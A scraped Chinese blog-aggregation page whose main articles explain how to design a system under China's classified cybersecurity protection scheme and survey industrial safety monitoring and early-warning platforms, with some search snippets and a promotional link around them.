精华内容
下载资源
问答
  • 耕地资源利用效益的分析和评估对于保障国家粮食安全、提高耕地资源利用效率具有重要意义。...②就耕地资源利用效益影响因素分析看,10年间,耕地利用效益主要受社会经济条件的强烈影响,影响粮食产量的主要因
  • 为了更好地反映煤矿安全综合发展状况,采用因子分析的方法,通过对山西省2008-2017年煤矿安全发展影响因素进行分析,通过研究得到两个主要公共因子:煤炭产量效益因子(f1)、煤炭市场经济因子(f2),其权重分别占比:61....
  • 目前,阀控式铅酸蓄电池在电力操作电源广泛使用,由于阀...合理地选择及使用目前直流电源系统中的蓄电池和电池监测模块,对延长蓄电池的使用寿命有很大的作用,为获得的安全效益和经济效益有着很重要的意义。 2 常见
  • 煤矿安全生产问题已经成为了影响群众生命和财产安全的重要因素,同时也对煤矿企业自身的发展产生了严重的制约。基于此,为了保证煤矿安全生产的有效性,促进煤矿企业的持续发展,需要对煤矿安全生产投入与经济效益的相关...
  • 对汾西矿业集团某矿复杂水文地质条件下巷道底板突水影响因素的现场实测研究,可用于分析巷道底板突水的发展过程,提高对底板突水机理的认识,提出提高巷道稳定性的措施,对深部煤炭资源的开发应用、提高矿井的经济效益、...
  • 分析了煤矿职工的不安全行为的产生原因及影响因素,提出了解决煤矿职工不安全行为的控制措施和手段,其研究成果有助于提高煤矿的安全生产,达到避免或减少煤矿事故、提高企业的经济效益的目的。
  • 什么是网络安全等级保护

    千次阅读 2021-09-19 21:24:14
    一、等级保护体系设计的主要工作要求 等级保护体系设计的主要工作要求包括: (1)等级保护体系设计应包含技术和管理两方面的内容;...2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、大厂面经

    一、等级保护体系设计的主要工作要求

    等级保护体系设计的主要工作要求包括:

    (1)等级保护体系设计应包含技术和管理两方面的内容;

    (2)等级保护体系设计不仅应满足国家相应保护等级的要求,还应满足所在行业和领域的相应保护等级的要求;

    (3)运营者应在等级保护体系设计结束后,形成设计文档;

    (4)等级保护体系设计过程中,若有变更,应执行变更管理;

    (5)如委托外部机构协助开展等级保护体系设计工作的,应与外部机构签订保密协议。

    2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、大厂面经、精品手册、必备工具包、路线)一>点我<一

    二、等级保护体系设计的基础准备工作

    运营者在开始设计网络安全等级保护体系前,应首先完成等级保护对象的定级备案、安全需求分析等工作。其中:

    (1)等级保护对象的定级备案:确定等级保护对象的安全保护等级,以指导等级保护体系设计时对标相应级别的安全保护要求。感兴趣的读者可参考《浅谈如何规范开展等级保护定级和备案工作》一文。

    (2)等级保护对象的安全需求分析:对标相应保护保护等级的安全保护要求明确运营者的网络安全等级保护需求,以在后续的等级保护体系设计时,采取有针对性的等级保护措施。感兴趣的读者可参考《浅谈如何规范有序地开展网络安全需求分析》。

    三、等级保护体系设计主要过程

    在完成等级保护体系设计的基础准备工作之后,正式开始等级保护体系的设计过程。等级保护体系设计主要过程如下:

    image.png

    3.1  确定实现目标

    设计网络安全等级保护体系时,运营者应结合本单位实际情况,首先确定开展网络安全等级保护体系的设计目标,以明确后续网络安全等级保护体系的建设任务、建设内容等。

    实现目标可分为总体目标和详细目标。其中:

    (1)总体目标即等级保护体系设计要达到的总体安全保护目标。

    (2)详细目标可以根据项目分期、分阶段等确定具体目标。例如:

    ——运营者可将总体目标分解为等级保护对象各阶段的具体安全目标,如开发建设阶段目标、运行维护阶段目标等。

    ——等级保护体系设计要完成的内容以项目形式分解到若干时期实现时,总体目标可分解为各项目的实现目标。

    3.2  明确设计原则、依据和思路

    确定实现目标后,运营者应明确遵循的设计原则、依据和思路。

    3.2.1  明确设计原则

    一般而言,设计原则应体现自主保护、分区分域、重点保护、适度安全、“三同步”、动态调整、技术管理并重、标准性、成熟性、科学性、合理性、保密性等内容。

    3.2.2  明确设计依据

    设计依据应包含国家和行业的网络安全等级保护相关的政策、法律法规、标准规范以及系统集成、安全开发等方面的工程规范。

    3.2.3  明确设计思路

    设计思路是指导总体及后续详细设计的灵魂,一般而言,应把握以下几点:

    (1)构建分域的控制体系

    按照分域保护思路设计安全体系架构,从结构上划分为不同的安全区域,以安全区域为单位进行安全防护技术措施的建设,各个安全区域内部还可根据安全需求的不同进一步划分子安全域和三级安全域。子安全域和三级安全域的边界也采用与一级安全域相同的边界安全防护措施,从而构成了分域的安全控制体系。

    (2)构建纵深的防御体系

    按照纵深防御思路设计安全体系架构,纵深防御体系根据“一个中心”管理下的“三重保护”体系框架进行设计,从物理环境安全防护、通信网络安全防护、网络边界安全防护、计算环境安全防护(主机设备安全防护/应用和数据安全防护)进行安全技术和措施的设计,以及通过安全管理中心对整个等级保护对象实施统一的安全技术管理。充分考虑各种技术的组合和功能的互补性,提供多重安全措施的综合防护能力,从外到内形成纵深防御体系。

    (3)保证一致的安全强度

    对于部署于同一安全区域的等级保护对象采取强度一致的安全措施,并采取统一的防护策略(低级别定级对象部署在高等级安全区域时应遵循“就高保护”原则),使各安全措施在作用和功能上相互补充,形成动态的防护体系。

    3.3  安全域划分设计

    一般而言,对等级保护对象进行安全保护时,不是对整个等级保护对象进行同一等级的保护,而是对等级保护对象内不同业务区域进行不同等级的保护。因此,安全域划分是进行网络安全等级保护的重要环节。

    安全域是指同一系统内根据信息性质、使用主体、安全目标和策略等元素的不同来划分不同逻辑子网,每一个逻辑区域有相同的安全保护需求,具有相同的安全访问控制和边界控制策略,区域内具有相互信任关系,同一安全域共享同样的安全策略。简单来说,安全域是指具有相同或相近的安全需求、相互信任的网络区域或网络实体的集合

    3.3.1  安全域划分原则

    安全域划分的基本原则如下:

    image.png

    3.3.2  安全域划分方式

    安全域划分需考虑网络中业务系统访问终端与业务主机的访问关系以及业务主机间的访问关系。若业务主机间没有任何访问关系,则单独考虑各业务系统安全域的划分;若业务主机间有访问关系,则几个业务系统一起考虑安全域的划分。

    一个物理网络区域可以对应多个安全区域,而一个安全区域一般只对应一个物理网络区域

    image.png

    3.3.3  局域网安全域划分

    局域网内部安全域划分是安全域划分的重点,可以依据业务的安全策略进行划分,主要参考在各业务的业务功能、安全等级以及局域网网络结构三方面因素。

    (1)根据业务功能特点划分

    不改变当前业务逻辑,可以使用两级三层结构进行划分:

    image.png

    (2)根据安全等级要求划分

    网络安全等级保护是通过安全域划分将信息系统划分为多个子系统。实施等级保护时,一定会落实到每一个安全域中去。

    等级保护的对象其实是安全域。在重要信息系统进行网络安全等级保护定级工作后,将相同安全等级的应用业务系统部署在相同的安全域。

    (3)根据VLAN划分

    局域网内部安全域划分的技术基础是VLAN。同一个VLAN内部的成员可以视为具有相同安全策略的对象,相互信任。VLAN边界可以视为网络边界,在VLAN之间使用相应的安全策略,便实现了简单的安全域划分。

    3.3.4  安全域划分的隔离措施

    安全域进行划分后主要采用边界隔离、边界访问控制等技术手段,将不同安全域的网络依据不同安全策略,实施必要的安全技术措施。

    VLAN逻辑隔离是在同一台交换机内,建立不同的VLAN,承载不同的安全域。此方法对于现有网络支持较好,易于实施,但网络安全风险较大。

    IP逻辑隔离是在VLAN逻辑隔离的基础上,不同安全域使用不同IP子网地址,实现数据链路层隔离和网络层隔离。此方式对现有网络改动较大,网络安全风险一般。

    物理隔离是不同安全域完全使用单独网络基础设施,包括网线、交换机、路由器等设备,并且相互间没有任何逻辑或物理连接。此方式投资相对较大,对现有网络改动很大,但网络安全风险最小。

    3.3.5  安全域划分后的安全技术措施

    安全域划分最主要的目的是落实安全策略,由于安全域边界通常是基于网络划分,所以通常的方式是,在管理层面根据安全策略制定制度和要求,技术层面通过部署安全设备,使用相应的安全技术,实现安全域划分后的安全要求。

    image.png

    3.3.6  安全域划分示例

    某运营者根据安全域划分的原则和一般划分方式,将本单位的安全域做出如下表的等级划分:

    image.png

    3.4  确定各安全域的保护强度

    根据等级保护对象的定级情况和安全域划分情况,分别确定各安全域的防护强度。例如:

    ——某运营者划分了“核心域”用来统一部署核心的业务系统,核心的业务系统的保护等级被定为三级,则“核心域”确定按照第三级保护等级要求设计防护强度。

    3.5  设计安全技术体系

    运营者在实现安全域合理划分、确定各安全域的保护强度的基础上,进行等级保护安全技术体系设计。

    3.5.1  安全技术体系架构设计

    由于不同运营者的具体目标不同、使用技术不同、应用场景不同等因素,等级保护对象会以不同的形态出现,表现形式可能称之为基础信息网络、信息系统(包括采用移动互联等技术的系统),云计算平台/系统、大数据平台/系统、物联网、工业控制系统等。

    由于形态不同的等级保护对象面临的威胁有所不同,安全保护需求也有所差异,为了便于描述实现对不同网络安全保护级别和不同形态的等级保护对象的共性化和个性化保护,基于通用和特定应用场景说明等级保护安全技术体系设计。其中:

    (1)通用等级保护安全技术设计内容针对等级保护对象实行网络安全等级保护时的共性化保护需求提出。等级保护对象无论以何种形式出现,都应根据安全保护等级,实现相应级别的安全技术要求。

    (2)特定应用场景针对云计算、移动互联、物联网、工业控制系统的个性化保护需求提出,针对特定应用场景,实现相应网络安全保护级别的安全技术要求。

    安全技术体系架构由从外到内的纵深防御体系构成。纵深防御体系根据等级保护的体系框架设计

    image.png

    其中:

    (1)“物理环境安全防护”保护服务器、网络设备以及其他设备设施免遭地震、火灾、水灾、盗窃等事故导致的破坏;

    (2)“通信网络安全防护”保护暴露于外部的通信线路和通信设备;

    (3)“网络边界安全防护”对等级保护对象实施边界安全防护,内部不同级别定级对象尽量分别部署在相应保护等级的内部安全区域,低级别定级对象部署在高等级安全区域时应遵循“就高保护”原则;

    (4)“计算环境安全防护”即内部安全区域将实施“主机设备安全防护”和“应用和数据安全防护”。

    (5)“安全管理中心”对整个等级保护对象实施统一的安全技术管理。

    等级保护对象的安全技术体系架构见下图:

    image.png

    (1)规定不同级别定级对象的物理环境的安全保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出不同级别定级对象物理环境的安全保护策略和安全技术措施。定级对象物理环境安全保护策略和安全技术措施提出时应考虑不同级别的定级对象共享物理环境的情况。如果不同级别的定级对象共享同一物理环境,物理环境的安全保护策略和安全技术措施应满足最高级别定级对象的等级保护基本要求。

    (2)规定不同级别定级对象的通信网络的安全保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出通信网络的安全保护策略和安全技术措施。通信网络的安全保护策略和安全技术措施提出时应考虑网络线路和网络设备共享的情况。如果不同级别的定级对象通过通信网络的同一线路和设备传输数据,线路和设备的安全保护策略和安全技术措施应满足最高级别定级对象的等级保护基本要求。

    (3)规定不同级别定级对象的网络边界保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出不同级别定级对象的网络边界的安全保护策略和安全技术措施。如果不同级别的定级对象共享同一设备进行边界保护,则该边界设备的安全保护策略和安全技术措施应满足最高级别定级对象的等级保护基本要求。

    (4)规定不同级别定级对象的内部安全保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出不同级别定级对象内部网络平台、系统平台、业务应用和数据的安全保护策略和安全技术保护措施。如果低级别定级对象部署在高级别定级对象的网络区域,则低级别定级对象的系统平台、业务应用和数据的安全保护策略和安全技术措施应满足高级别定级对象的等级保护基本要求。

    (5)规定定级对象之间互联的安全保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出跨局域网互联的定级对象之间的信息传输保护策略要求和具体的安全技术措施,包括同级互联的策略、不同级别互联的策略等,提出局域网内部互联的定级对象之间的信息传输保护策略要求和具体的安全技术保护措施,包括同级互联的策略、不同级别互联的策略等。

    (6)规定云计算、移动互联等新技术的安全保护技术措施

    运营者根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出云计算、移动互联等新技术的安全保护策略和安全技术措施。云计算平台应至少满足其承载的最高级别定级对象的等级保护其本要求。

    将骨干网或城域网、通过骨干网或城域网的定级对象互联、局域网内部的定级对象互联、定级对象的边界、定级对象内部各类平台,机房以及其他方面的安全保护策略和安全技术措施进行整理、汇总,形成等级保护对象的安全技术体系结构。

    3.5.2  提出实现等级保护技术体系的安全技术措施

    根据《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、行业基本要求(不同行业的网络安全等级保护规范性文件)、安全需求等,提出等级保护对象需要实现的安全技术措施,形成运营者特定的等级保护对象安全技术体系架构,用以指导等级保护的具体实现。

    将安全技术体系中要求实现的安全策略、安全技术体系结构、安全措施和要求落实到产品功能或物理形态上,提出能够实现的产品或组件及其具体规范。

    对于新建的等级保护对象,运营者可根据网络安全相应等级保护要求提出的安全控制点内容进行逐项安全技术措施的设计。

    对于改建、扩建等级保护对象的,运营者可根据网络安全相应等级保护要求提出的安全控制点内容,对等级保护对象新增或改变的部分进行安全技术措施的设计。

    运营者从安全物理环境、安全区域边界、安全通信网络、安全计算环境(主机安全/应用和数据安全)、安全管理中心五个方面进行详细设计,提出具体应采用的安全技术措施。例如:

    ——网络安全等级保护第三级安全通用要求的“安全区域边界”的“访问控制”提出以下要求:

    image.png

    基于如上要求,运营者根据本单位实际情况,设计使用防火墙做如下部署:

    image.png

    设计使用防火墙做如下策略配置:

    image.png

    3.6  设计安全管理体系

    运营者根据安全保护相应等级对安全管理制度的要求,结合本单位实际情况,设计安全管理体系。

    安全管理体系由安全策略、安全管理制度、操作规程、记录表单等构成。

    image.png

    一般而言,安全管理体系设计包括设计方法,体系框架设计,内容设计,安全管理制度的制修订、评审、发布、执行、检查与废弃工作机制设计等内容。

    感兴趣的读者可参考《浅谈关键信息基础设施运营者如何制修订安全管理制度》一文。

    3.7  设计安全组织体系

    根据网络安全保护相应等级对安全组织的要求,结合本单位实际情况,设计安全组织体系。

    一般而言,安全组织设计包括组织机构、岗位及职责设计、安全从业人员管理工作机制设计等内容。具体而言:

    (1)根据安全组织体系设计提出的设计内容,对岗位职责设计不合理的,明确应如何重塑职责;

    (2)缺乏相应岗位的,明确应新设哪些岗位,相应的职责内容以及可能存在的岗位重组情况;

    (3)从人员审查、人员筛选、人员调动、人员离职、职责分离以及安全意识教育、专业技能培训等方面详细设计安全从业人员的管理工作机制。

    感兴趣的读者可参考《浅谈关键信息基础设施运营者专门安全管理机构的组建》一文。

    3.8  梳理等级保护建设清单

    根据安全技术体系、安全管理体系、安全组织体系具体实现所需要的各项建设内容,梳理形成建设清单。

    3.9  形成项目分期规划

    等级保护是系统工程,涉及政策、预算、技术、管理、人才、资源等多方面因素,在开展等级保护相关工作时,运营者可能无法“毕其功于一役”完成一系列保护措施的落地与执行。因此,运营者应通过项目形式科学、合理、务实的分期分批开展等级保护对象保护相关工作。

    等级保护建设项目规划的主要步骤包括:确定项目分期目标、规划项目分期建设内容以及形成项目分期规划。

    image.png

    (1)确定项目分期目标

    运营者结合本单位网络安全和信息化建设的中长期发展规划,网络安全建设的预算投入、资金状况,待解决安全问题的优先级等因素,综合确定项目分期的安全实现目标。

    (2)规划项目分期建设内容

    运营者在制定项目分期目标后,可根据项目分期目标和建设清单,规划分期分批的主要建设内容,并将建设内容根据实际需要组合成不同的项目,同时阐明项目之间的依赖或促进关系等,以指导分期建设项目的持续推进和加强对分期建设项目的管理。

    (3)形成项目分期规划

    运营者根据项目分期目标和建设内容,结合时间、解决问题的优先级和预算经费等情况,对建设清单进行总体考虑,将建设清单分配到不同的时期和阶段,统筹安排建设顺序,进行投资估算。

    运营者梳理项目分期目标、建设内容等文档,形成等级保护对象项目分期规划。

    3.10  分析预期建设成效

    按照等级保护体系设计,分析按项目分期建设完成后的预期建设成效,包括社会效益、经济效益等。

    小结

    本文描述了网络安全等级保护体系设计的通用实践。运营者可参考本文,结合本单位实际情况,对本单位的网络安全等级保护体系进行设计或调整。若有不成熟的地方,敬请指正。

    展开全文
  • 分别从主观和客观2个层面对影响员工不安全行为的因素进行了分析,根据分析结果修订了补连塔煤矿不安全行为认定标准及查处指标,统一处罚考核办法、融入"有情管理"要素、落实"承诺书"管理制度以及与经济效益挂钩等一...
  • 探究我国煤炭资源型地区可持续生计安全的具体情况、影响其可持续生计安全的主要因素,有利于煤炭资源型地区可持续发展水平的提升。以中部地区为例,选取21个城市作为研究样本,从可持续生计安全指数计算和时空格局分析...
  • 一、安全事故无法杜绝,安全技术发展永无止境今年4月21日,江苏连云港一家生产碳化硅的企业车间发生火灾和爆炸,一时间,互联网上一片谴责痛惜之声,“连云港化工厂爆炸”成为网络热点事件,一度排...

    一、安全事故无法杜绝,安全技术发展永无止境

    今年4月21日,江苏连云港一家生产碳化硅的企业车间发生火灾和爆炸,一时间,互联网上一片谴责痛惜之声,“连云港化工厂爆炸”成为网络热点事件,一度排名微博热搜第一。值得庆幸的是,事件结果未造成人员伤亡,但这也足以让人们感到后怕,毕竟造成78人死亡、76人重伤,640人住院治疗,直接经济损失19.86亿元的江苏响水“321”特大爆炸事件刚刚才过去一周年,很多人不禁担忧,无论爆炸案损失多么惨重,它似乎无法为安全生产警钟长鸣,工业生产事故依旧频发。大家不禁要问,为什么现实中有这么多教训,事故依然无法避免呢?

    长期以来,工业生产事故的预防基本上依赖于企业的管理水平,包括建全规章制度,重视消防与安全防护设施的完善,教育工人严格遵守操作规程,提高其素质和应急处置能力等。然而,国际职业安全与事故预防理论和实践的发展历史表明:完全依赖人的警惕性来保障生产安全并非万全之策,因为人可能受到生理、心理以及社会等诸多因素的干扰而出现失误;还有一些事故致因属于人的智力和能力难以感知和有效抑制的范畴。纵观近年来发生的多起重大事故,虽然在调查事故原因时主要归咎于违章、渎职等人为责任,但进行深入分析会发现,也与缺乏先进、可靠、全方位的安全监控预警技术设施不无关系。

    此外,随着经济的发展, 生产的规模、自动化程度、材料与工艺的革新都会导致危险源和隐患的多样性与复杂性, 导致事故模式不断翻新, 导致灾害规模不断扩大, 事故灾难性后果日益严重。因此, 对各种事故所采取的预防措施的有效性也在不断发生变化, 安全技术在其中就显示出越来越重要的地位。事故不可能杜绝, 安全技术的发展也永无止境。

    实践证明, 任何事故或灾害的发生都有一个自然发展的过程, 在其酝酿伊始直至临界状态呈现, 都有“端倪”可察、“征兆” 可寻。这“端倪”与“征兆”便是危险源的安全状态信息, 在这些信息中, 大多数是可观测的, 有些还是可控的。倘若有一套先进、可靠的监控预警系统, 能够通过对安全监管系统前端传感器采集的不同类型的数据进行评估分析,确定各类事物或者行为是否超出预警阈值,并通过相应的控制系统发出预警信息,想必就能避免事故的发生,至少能够把事故所造成的损失和影响降到最低程度。

    二、国内外监控预警系统研究现状

    英国是西方最早实现工业化的国家,同时,英国是最早系统地研究重大危险源监控技术的国家。1982年,英国政府颁布了《关于报告处理危害物质设施的报告规程》,1984 年颁布了《重大工业事故控制规程》。其后荷兰、德国、法国、意大利、比利时等欧盟成员国及美国、澳大利亚等国家都先后制定了相关控制规程。在1993年通过的《预防重大工业事故》公约和建议书,主要内容是希望各个国家对重大危险源进行有限的监控和管理。

    总之,这些发达国家如美国、德国、英国等在20 世纪 90 年代初就建立了较为完善的政府安全生产行政执法信息体系, 政府和行业协会等机构也形成了加强行业安全生产指导和督促企业承担社会责任的约束机制, 特别是在一些重点领域, 如在危化品安全监管方面, 欧美国家加强引导企业增强社会责任意识, 并普遍发展了危险源辨识、评估技术, 建立健全了基础数据库, 利用现代网络化技术开展了评估、预测和预警, 实现了统一管理和资源共享。美国国土安全部还实施了国家重要设施防护计划,对国家重要基础设施工程进行监测和预警。

    国外企业生产安全工作的系统具有更突出的特点和优势,致力于过程安全工作的企业,大多采用“过程安全管理——危险识别——后果分析——风险分析——训练——应急预案”等一系列政策方针。这种处理方式改变了针对某一事故隐患而随机制定了应急预案的孤立性、零散性、局限性的特点,使危险隐患的应急预案处理得更系统、更具有实用性和可靠性。

    相对于这些国家而言,中国由于起步较晚,技术相对比较落后,距离实际应用还有一定差距。不过,总体而言我国同样注意行政监管和监管技术的结合发展。随着国务院安委会“指导意见”明确提出“利用大数据、人工智能等技术”,解决传统监管漏洞、提升效率、准确研判安全态势、及时处置风险,标志着先进信息化技术已经具备了在化工安全生产管理领域实质性、大范围应用的基础,智慧风险监测预警平台呼之欲出。

    至于技术发展水平方面,目前安全预警技术已经被众多公司与学校进行深入研究,比如美国加州大学伯克力分校、康奈尔大学、麻省理工学院等,另外还有英国、日本、中国等国家的一些科研机构也在进行着安全预警领域的技术研究工作。主要研究的内容是传感器网络技术以及通信协议的研究,同时也开展了大量感知数据查询、比较、处理技术的研究,取得了很多初步研究成果。其中无线传感器和网络技术在军事、工业、农业、交通、医疗等领域得到了广泛应用。

    以工业领域为例,美国英特尔公司安装了 200 台无线传感器在该国俄勒冈的一家芯片制造厂,通过一套安全监管系统来实时监控工厂设备的位移,在检测结果超出系统设定的标准时,及时提供监测报告。在我国国内,陕西省的天和集团和成峰公司共同合作,研制开发矿井环境监测系统和矿工井下区段定位系统,在矿井内作业时的环境安全以及工人的生命安全起到了重要作用。总之,在我国高危行业及一些重要行业,安全预警技术在不断的发展,特别是煤炭采矿行业,互联网网监部门越来越多的采用检测预警技术,实现在生产过程中或者在网络监控过程中达到预知险情的目的。

    三、如何建设监测预警系统

    监测预警系统根据实际需要分级部署在省、市、县/园区的危化品监管部门。其体系架构在传统云计算应用层(SaaS)、平台层(PaaS)和基础设施层(IaaS)三层服务的基础上,应用工业大数据、人工智能等新技术,具备实时监测、风险预警、闭环处置、检查评估等基本功能,提供PC端和APP等多种方式的应用。

    其目标是综合利用工业互联网等先进技术,集成化工园区生产装置DCS、视频、GIS、各类传感器、通讯平台等构建化工园区安全生产平台,全面排查摸清化工园区家底,建成一园一册、一企一档,实现管理前置、控制风险、有效预警、动态防控、智慧决策的总体目标,从而倒逼科学整治,淘汰落后产能,促进园区创新转型和绿色可持续发展。

    核心平台功能包括:

    (一)日常监管

    • 1、应急预案管理

    实现应急预案编制、评审、审批、发布、备案、修订、培训、演练、监督等全过程一站式管理,快速辅助管理部门完成事前预防、事发应对、事中处置和善后管理等各项工作。

    • 2、安全风险源管理

    搭建统一的风险源综合信息数据库,实现风险源信息获取、信息处理、信息输出等功能,构建环境风险日常管理基础平台,面向企业建立危险源的电子台账,涵盖国家规定的6大类危险源,及危险源基本情况。

    • 3、应急资源管理

    实现对应急救援物资、应急救援力量、应急专家、危化品知识库等资源的日常管理,同时使用空间技术及时掌握区域应急资源的分布情况,为应急救援、资源优化和合理调度提供支持。

    (二)环境监控预警

    • 1、在线监测

    对区域内实时监测数据在线监控,可查询历史数据实现对比分析,并具备远程反控,对运行情况进行监控实现对监测设备的控制。

    • 2、预警模拟

    结合园区气象参数,对企业周边气体排放数据的实时感知。通过大气扩散模型运算分析,当企业出现超标排放或出现环境应急事故时,系统能够对气体扩散范围速度和扩散范围进行预警。

    • 3、污染溯源

    在接到公众问题投诉时,通过对园区历史监测数据查询分析,判断公众投诉事件风险程度,并通过污染溯源系统对排污企业进行定位分析,根据模拟的结果进行科学决策,为应急工作抢占先机。

    (三)应急指挥

    •  1、应急指挥监测

    基于安全生产平台,实现接警登记、事件上报等功能,完成事件的初步定位、信息通告、预警提醒等工作。同时实现值班人员排班管理、接警记录存档、事件登记、预警提醒、现场调查等应急指挥管理功能。

    • 2、应急资源调度

    通过事件信息展示、资源调度、应急指挥车、GPS定位等功能,根据事故现场情况、风险等级、应急处置需要,显示应急处置过程中各监测、处置、人员和设备点位的地图位置及详细信息,实时了解现场情况并根据事件的进展及时调整人员和监测点位,为应急事件的高效处置和准确决策提供有力支持。

    以上是一个监测预警平台具备的基本功能。各地区可结合本地现有信息化和基础设施资源、应急管理信息化规划、电子政务管控体系等实际情况,有序开展“信息化+”建设,在督促企业落实安全生产主体责任的同时,为各级监管部门提供快速、有效的信息化支撑手段。

    四、国内较成熟应用案例

    当前,随着我国工业化的发展,许多企业和高校纷纷利用各自优势联合推出研究成果。

    例如,青岛安工院与天津大学、南京工业大学和中国石化巴陵石化分公司开展产学研联合攻关,攻克了包含反应失控预测及工艺安全临界判据模型、灾变关键特征参数多尺度测试平台及风险准确表征技术、异常工况监测预警平台、危险化工过程安全保障关键技术体系等多个研发攻关难题。在确保重大危险源数据安全采集传输的前提下,该系统突破了网络环境限制,将不同网络环境和数据环境等复杂结构下的企业重大风险源的报警信息、视频监控信息、安全管理信息数据,实时接入系统并上传到政府端,进而实现对企业重大风险源的实时监测;系统同时集成了重大危险源地理坐标信息,与监测预警数据和视频监控信息进行关联,能够实现对风险点的精准定位;建立了一套科学的风险预警值算法,制定了“红橙黄蓝”风险分级预警管控机制,实现企业重大风险源的实时风险预警和区域风险预警,通过及时推送预警信息,为政府到企业快速联动处置预警风险提供支撑。

    自2018年4月投入运用至去年9月,山东省443家涉及一级、二级重大危险源企业已全部安装数据采集设备,365家一级重大危险源企业全部接入系统,通过监测预警系统的监管作用发挥,山东省内之前存在的10余家“重大风险级”和20余家“较大风险级”企业已分别降为“一般风险级”和“低风险级”企业,已取得了明显的应用成效。

    而由清华大学、北京理工大学、国防科技大学、中山大学、北京大学、中国人民大学、百度、腾讯、阿里巴巴等相关单位共同建设的大数据系统软件国家工程实验室清华团队研发的“清华数为”大数据软件栈产品,更是一个远不止应用于生产安全的全能型软件。

    “清华数为”大数据软件栈在基础设施服务、平台服务、软件服务三个层次上,为面向领域的大数据软件系统的研发提供支撑关键组件和应用开发环境。软件栈采用开放架构,融合开源计算框架和自研的物联网时序数据库Apache IoTDB、数据质量分析工具TsClean、机器学习引擎AnyLearn、交互式计算流程引擎Flok、数据可视化工具AutoVis和应用开发环境DWF。上述组件可以随需组装,满足用户对大数据生命周期中,采集阶段、管理阶段、处理阶段、分析阶段和应用阶段的感知与预警、查询与检索、转换与度量、决策与预测等需求。以“清华数为”大数据软件栈为基础,国家工程实验室提出了“1+X”的应用架构模式,在制造、能源、农业、民生、军事等多个重点行业与多个国家级的产业优势单位合作,沉淀领域平台、构建产业应用,推动大数据技术同实体经济深度融合发展,与气象、环保、工业制造、能源等企业用户开展领域大数据平台和应用系统研发。

    例如,在工业生产中,通过深入研究产业特点,基于平台的“云-端”结合的设计思路,建设了国内价值最高的智能装备大数据平台。平台采集4000余种类型的设备状态、作业操作、环境参数等实时数据;支持远程发动机运行参数调优,辅助装备远程操作;实时汇总和分析全国每台设备施工量、能耗与排放。如:实时车辆分布及各省份排名情况,行驶、停止的车辆比例,高发故障的分布及排名情况,不同载重状态的车辆台量和占比,物流车在全国各省市的平均碳排放量和车辆的空驶情况。给生产厂家、运输企业、交管、环保、安全生产等政府部门提供实时的数据支持。

    五、关于安全生产监测与预警技术的几点建议

    当前,我国工业安全生产状况处于总体稳定、趋于好转之态,但形势依然不容乐观。对于发展安全生产监测与预警这项技术,有以下几点建议可供参考:

    1、加强对安全状态信息检测-传感器件的开发。借助于最新科技成就将安全检测的触觉向未知领域进一步延伸,如应用光纤特殊性能的各种传感器以及正在发展中的微机械、“芯片”实验室、超微粒子化与智能传感器、太赫兹技术等填补现有技术的不足。

    2、“重大危险源监控预警系统”应从初期仅供安监部门实现办公微机化的政府版向对辖区重大危险源的安全状态信息实现动态监控的深度和广度提升。这种包含硬件和软件的综合系统的“重头戏”在基层,即含有重大危险源的企业应配备从传感器/变送器、数据采集与通讯网络设备以及主机的硬件配置,企业自身含有的危险源状态信息,各类事故(燃烧、爆炸、危险物质泄漏扩散)预测及态势预警模型,安全防护与控制装置或设施(喷淋、消防、隔爆/抑爆/惰化)的应急动作预案等内容都应缜合在系统中,并能无阻地送达安监部门的救援指挥系统,切实起到下情上达、上行下效的作用。

    3、科研单位宜开展“溯源”(反演)探测方法及实用技术研究。根据实时监测数据推算泄漏、爆炸、燃烧、辐射等事故源的实际泄散强度,以求对事故态势预警区域确定及对事故后果估计更加准确。

    4、发展专用机器人。火灾、爆炸、毒物泄漏事故发生时,急需了解事故源及其蔓延状况,尤其急于掌握局部空间空气中有害气体成分与浓度、现场场景等,以便实施救助。利用具有应急监测、排险、生命探测以及预警等功能的机器人完成这样的任务势在必行。

    5、在安全监控预警系统的设计、集成、安装、运行各个阶段,务必执行相关的功能安全标准,以确保系统自身的安全性和可靠性。

    随着科学技术的发展,毋庸置疑的是新的安全生产问题也会随之出现。而无论面对怎样错综复杂的安全生产问题,随着安全监测及预警等各项技术的发展,必将成为工业生产实现“安全第一、预防为主”目标的技术保障体系。


    如您想与我们保持交流探讨、持续获得数据科学领域相关动态,包括大数据技术类、行业前沿应用、讲座论坛活动信息、各种活动福利等内容,敬请扫码加入数据派THU粉丝交流群,红数点恭候各位。

    编辑:王菁

    校对:龚力

    展开全文
  • 容量效益裕度(CBM)作为直接影响ATC计算可信度的一个重要因素,需要构建更加合理、准确的计算模型。针对大规模风电并网后系统的CBM计算模型开展研究:首先,为应对风电间歇性扰动,提出基于可靠性指标(缺电时间...
  • 其次,将影响评估的因素分为脆弱性自身特点、网络环境因素和脆弱性关联关系三部分;最后,按照网络拓扑的规模,采用自下向上、先局部后整体的思想,直观地给出了漏洞、主机和整个网络系统三个层次的脆弱性指数评估值...
  • 为有效提升矿井的生产效益,根据安家岭露天矿原有设计开采边界,通过具体分析矿井东部开采边界端帮优化影响因素,结合露天矿东帮现状,提出3种边界优化方案,分别为:东帮地表境界与重要建(构)筑物的安全距离分别...
  • WebApp 安全入门

    千次阅读 2019-06-25 23:30:14
    2018 网络安全事故频发,从数据泄露、信息窃取,到 DDOS 攻击、勒索病毒,不仅威胁的总数在增加,威胁态势也变得更加多样化,攻击者在不断开发新的攻击途径的同时,也尽力在攻击过程中掩盖其踪迹,使网络安全防护变...

